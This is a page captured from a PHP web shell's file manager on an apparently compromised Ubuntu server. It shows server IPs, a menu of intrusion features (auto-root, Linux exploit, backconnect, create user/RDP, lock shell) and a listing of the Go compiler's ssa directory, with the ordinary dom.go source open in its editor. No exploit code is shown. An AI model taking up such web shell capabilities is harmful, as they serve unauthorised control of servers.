Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
compile /
internal /
ssa /
[ HOME SHELL ]
Name
Size
Permission
Action
gen
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
README.md
7.76
KB
-rw-r--r--
TODO
950
B
-rw-r--r--
biasedsparsemap.go
2.71
KB
-rw-r--r--
block.go
8.64
KB
-rw-r--r--
branchelim.go
11.41
KB
-rw-r--r--
branchelim_test.go
5.21
KB
-rw-r--r--
cache.go
2.46
KB
-rw-r--r--
check.go
13.9
KB
-rw-r--r--
checkbce.go
956
B
-rw-r--r--
compile.go
16.22
KB
-rw-r--r--
config.go
11.39
KB
-rw-r--r--
copyelim.go
1.82
KB
-rw-r--r--
copyelim_test.go
1.29
KB
-rw-r--r--
critical.go
3.15
KB
-rw-r--r--
cse.go
10.62
KB
-rw-r--r--
cse_test.go
4.21
KB
-rw-r--r--
deadcode.go
9.73
KB
-rw-r--r--
deadcode_test.go
3.49
KB
-rw-r--r--
deadstore.go
8.98
KB
-rw-r--r--
deadstore_test.go
4.09
KB
-rw-r--r--
debug.go
33.92
KB
-rw-r--r--
debug_test.go
28.68
KB
-rw-r--r--
decompose.go
10.91
KB
-rw-r--r--
dom.go
7.98
KB
-rw-r--r--
dom_test.go
13.34
KB
-rw-r--r--
export_test.go
5.68
KB
-rw-r--r--
flagalloc.go
5.49
KB
-rw-r--r--
func.go
22.17
KB
-rw-r--r--
func_test.go
12.85
KB
-rw-r--r--
fuse.go
5.7
KB
-rw-r--r--
fuse_test.go
5.04
KB
-rw-r--r--
html.go
29.04
KB
-rw-r--r--
id.go
576
B
-rw-r--r--
layout.go
3.56
KB
-rw-r--r--
lca.go
3.71
KB
-rw-r--r--
lca_test.go
1.65
KB
-rw-r--r--
likelyadjust.go
15.23
KB
-rw-r--r--
location.go
2.8
KB
-rw-r--r--
loopbce.go
9.85
KB
-rw-r--r--
loopreschedchecks.go
15.36
KB
-rw-r--r--
looprotate.go
2.24
KB
-rw-r--r--
lower.go
1.24
KB
-rw-r--r--
magic.go
13.42
KB
-rw-r--r--
magic_test.go
9.1
KB
-rw-r--r--
nilcheck.go
11.11
KB
-rw-r--r--
nilcheck_test.go
12.07
KB
-rw-r--r--
numberlines.go
8.44
KB
-rw-r--r--
op.go
8.74
KB
-rw-r--r--
opGen.go
839.32
KB
-rw-r--r--
opt.go
290
B
-rw-r--r--
passbm_test.go
3.14
KB
-rw-r--r--
phielim.go
1.47
KB
-rw-r--r--
phiopt.go
3.96
KB
-rw-r--r--
poset.go
37.23
KB
-rw-r--r--
poset_test.go
18.14
KB
-rw-r--r--
print.go
2.98
KB
-rw-r--r--
prove.go
36.68
KB
-rw-r--r--
redblack32.go
8.9
KB
-rw-r--r--
redblack32_test.go
5.96
KB
-rw-r--r--
regalloc.go
76.36
KB
-rw-r--r--
regalloc_test.go
6.41
KB
-rw-r--r--
rewrite.go
33.06
KB
-rw-r--r--
rewrite386.go
514.14
KB
-rw-r--r--
rewrite386splitload.go
3.7
KB
-rw-r--r--
rewriteAMD64.go
1.31
MB
-rw-r--r--
rewriteAMD64splitload.go
4.95
KB
-rw-r--r--
rewriteARM.go
538.26
KB
-rw-r--r--
rewriteARM64.go
837.68
KB
-rw-r--r--
rewriteMIPS.go
203.31
KB
-rw-r--r--
rewriteMIPS64.go
227.84
KB
-rw-r--r--
rewritePPC64.go
661.88
KB
-rw-r--r--
rewriteRISCV64.go
123.11
KB
-rw-r--r--
rewriteS390X.go
904.36
KB
-rw-r--r--
rewriteWasm.go
136.86
KB
-rw-r--r--
rewrite_test.go
3.01
KB
-rw-r--r--
rewritedec.go
10.56
KB
-rw-r--r--
rewritedec64.go
64.01
KB
-rw-r--r--
rewritedecArgs.go
6.6
KB
-rw-r--r--
rewritegeneric.go
1.09
MB
-rw-r--r--
schedule.go
13.99
KB
-rw-r--r--
schedule_test.go
2.91
KB
-rw-r--r--
shift_test.go
4.05
KB
-rw-r--r--
shortcircuit.go
3.97
KB
-rw-r--r--
shortcircuit_test.go
1.31
KB
-rw-r--r--
sizeof_test.go
855
B
-rw-r--r--
softfloat.go
1.94
KB
-rw-r--r--
sparsemap.go
1.98
KB
-rw-r--r--
sparseset.go
1.54
KB
-rw-r--r--
sparsetree.go
7.88
KB
-rw-r--r--
sparsetreemap.go
7.67
KB
-rw-r--r--
stackalloc.go
10.95
KB
-rw-r--r--
stackframe.go
290
B
-rw-r--r--
stmtlines_test.go
2.75
KB
-rw-r--r--
tighten.go
4.21
KB
-rw-r--r--
trim.go
4.24
KB
-rw-r--r--
value.go
10.71
KB
-rw-r--r--
writebarrier.go
17.92
KB
-rw-r--r--
writebarrier_test.go
1.75
KB
-rw-r--r--
xposmap.go
3.29
KB
-rw-r--r--
zcse.go
2.12
KB
-rw-r--r--
zeroextension_test.go
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dom.go
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package ssa // This file contains code to compute the dominator tree // of a control-flow graph. // postorder computes a postorder traversal ordering for the // basic blocks in f. Unreachable blocks will not appear. func postorder(f *Func) []*Block { return postorderWithNumbering(f, nil) } type blockAndIndex struct { b *Block index int // index is the number of successor edges of b that have already been explored. } // postorderWithNumbering provides a DFS postordering. // This seems to make loop-finding more robust. func postorderWithNumbering(f *Func, ponums []int32) []*Block { seen := make([]bool, f.NumBlocks()) // result ordering order := make([]*Block, 0, len(f.Blocks)) // stack of blocks and next child to visit // A constant bound allows this to be stack-allocated. 32 is // enough to cover almost every postorderWithNumbering call. s := make([]blockAndIndex, 0, 32) s = append(s, blockAndIndex{b: f.Entry}) seen[f.Entry.ID] = true for len(s) > 0 { tos := len(s) - 1 x := s[tos] b := x.b if i := x.index; i < len(b.Succs) { s[tos].index++ bb := b.Succs[i].Block() if !seen[bb.ID] { seen[bb.ID] = true s = append(s, blockAndIndex{b: bb}) } continue } s = s[:tos] if ponums != nil { ponums[b.ID] = int32(len(order)) } order = append(order, b) } return order } type linkedBlocks func(*Block) []Edge const nscratchslices = 7 // experimentally, functions with 512 or fewer blocks account // for 75% of memory (size) allocation for dominator computation // in make.bash. const minscratchblocks = 512 func (cache *Cache) scratchBlocksForDom(maxBlockID int) (a, b, c, d, e, f, g []ID) { tot := maxBlockID * nscratchslices scratch := cache.domblockstore if len(scratch) < tot { // req = min(1.5*tot, nscratchslices*minscratchblocks) // 50% padding allows for graph growth in later phases. req := (tot * 3) >> 1 if req < nscratchslices*minscratchblocks { req = nscratchslices * minscratchblocks } scratch = make([]ID, req) cache.domblockstore = scratch } else { // Clear as much of scratch as we will (re)use scratch = scratch[0:tot] for i := range scratch { scratch[i] = 0 } } a = scratch[0*maxBlockID : 1*maxBlockID] b = scratch[1*maxBlockID : 2*maxBlockID] c = scratch[2*maxBlockID : 3*maxBlockID] d = scratch[3*maxBlockID : 4*maxBlockID] e = scratch[4*maxBlockID : 5*maxBlockID] f = scratch[5*maxBlockID : 6*maxBlockID] g = scratch[6*maxBlockID : 7*maxBlockID] return } func dominators(f *Func) []*Block { preds := func(b *Block) []Edge { return b.Preds } succs := func(b *Block) []Edge { return b.Succs } //TODO: benchmark and try to find criteria for swapping between // dominatorsSimple and dominatorsLT return f.dominatorsLTOrig(f.Entry, preds, succs) } // dominatorsLTOrig runs Lengauer-Tarjan to compute a dominator tree starting at // entry and using predFn/succFn to find predecessors/successors to allow // computing both dominator and post-dominator trees. func (f *Func) dominatorsLTOrig(entry *Block, predFn linkedBlocks, succFn linkedBlocks) []*Block { // Adapted directly from the original TOPLAS article's "simple" algorithm maxBlockID := entry.Func.NumBlocks() semi, vertex, label, parent, ancestor, bucketHead, bucketLink := f.Cache.scratchBlocksForDom(maxBlockID) // This version uses integers for most of the computation, // to make the work arrays smaller and pointer-free. // fromID translates from ID to *Block where that is needed. fromID := make([]*Block, maxBlockID) for _, v := range f.Blocks { fromID[v.ID] = v } idom := make([]*Block, maxBlockID) // Step 1. Carry out a depth first search of the problem graph. Number // the vertices from 1 to n as they are reached during the search. n := f.dfsOrig(entry, succFn, semi, vertex, label, parent) for i := n; i >= 2; i-- { w := vertex[i] // step2 in TOPLAS paper for _, e := range predFn(fromID[w]) { v := e.b if semi[v.ID] == 0 { // skip unreachable predecessor // not in original, but we're using existing pred instead of building one. continue } u := evalOrig(v.ID, ancestor, semi, label) if semi[u] < semi[w] { semi[w] = semi[u] } } // add w to bucket[vertex[semi[w]]] // implement bucket as a linked list implemented // in a pair of arrays. vsw := vertex[semi[w]] bucketLink[w] = bucketHead[vsw] bucketHead[vsw] = w linkOrig(parent[w], w, ancestor) // step3 in TOPLAS paper for v := bucketHead[parent[w]]; v != 0; v = bucketLink[v] { u := evalOrig(v, ancestor, semi, label) if semi[u] < semi[v] { idom[v] = fromID[u] } else { idom[v] = fromID[parent[w]] } } } // step 4 in toplas paper for i := ID(2); i <= n; i++ { w := vertex[i] if idom[w].ID != vertex[semi[w]] { idom[w] = idom[idom[w].ID] } } return idom } // dfs performs a depth first search over the blocks starting at entry block // (in arbitrary order). This is a de-recursed version of dfs from the // original Tarjan-Lengauer TOPLAS article. It's important to return the // same values for parent as the original algorithm. func (f *Func) dfsOrig(entry *Block, succFn linkedBlocks, semi, vertex, label, parent []ID) ID { n := ID(0) s := make([]*Block, 0, 256) s = append(s, entry) for len(s) > 0 { v := s[len(s)-1] s = s[:len(s)-1] // recursing on v if semi[v.ID] != 0 { continue // already visited } n++ semi[v.ID] = n vertex[n] = v.ID label[v.ID] = v.ID // ancestor[v] already zero for _, e := range succFn(v) { w := e.b // if it has a dfnum, we've already visited it if semi[w.ID] == 0 { // yes, w can be pushed multiple times. s = append(s, w) parent[w.ID] = v.ID // keep overwriting this till it is visited. } } } return n } // compressOrig is the "simple" compress function from LT paper func compressOrig(v ID, ancestor, semi, label []ID) { if ancestor[ancestor[v]] != 0 { compressOrig(ancestor[v], ancestor, semi, label) if semi[label[ancestor[v]]] < semi[label[v]] { label[v] = label[ancestor[v]] } ancestor[v] = ancestor[ancestor[v]] } } // evalOrig is the "simple" eval function from LT paper func evalOrig(v ID, ancestor, semi, label []ID) ID { if ancestor[v] == 0 { return v } compressOrig(v, ancestor, semi, label) return label[v] } func linkOrig(v, w ID, ancestor []ID) { ancestor[w] = v } // dominators computes the dominator tree for f. It returns a slice // which maps block ID to the immediate dominator of that block. // Unreachable blocks map to nil. The entry block maps to nil. func dominatorsSimple(f *Func) []*Block { // A simple algorithm for now // Cooper, Harvey, Kennedy idom := make([]*Block, f.NumBlocks()) // Compute postorder walk post := f.postorder() // Make map from block id to order index (for intersect call) postnum := make([]int, f.NumBlocks()) for i, b := range post { postnum[b.ID] = i } // Make the entry block a self-loop idom[f.Entry.ID] = f.Entry if postnum[f.Entry.ID] != len(post)-1 { f.Fatalf("entry block %v not last in postorder", f.Entry) } // Compute relaxation of idom entries for { changed := false for i := len(post) - 2; i >= 0; i-- { b := post[i] var d *Block for _, e := range b.Preds { p := e.b if idom[p.ID] == nil { continue } if d == nil { d = p continue } d = intersect(d, p, postnum, idom) } if d != idom[b.ID] { idom[b.ID] = d changed = true } } if !changed { break } } // Set idom of entry block to nil instead of itself. idom[f.Entry.ID] = nil return idom } // intersect finds the closest dominator of both b and c. // It requires a postorder numbering of all the blocks. func intersect(b, c *Block, postnum []int, idom []*Block) *Block { // TODO: This loop is O(n^2). It used to be used in nilcheck, // see BenchmarkNilCheckDeep*. for b != c { if postnum[b.ID] < postnum[c.ID] { b = idom[b.ID] } else { c = idom[c.ID] } } return b }
Close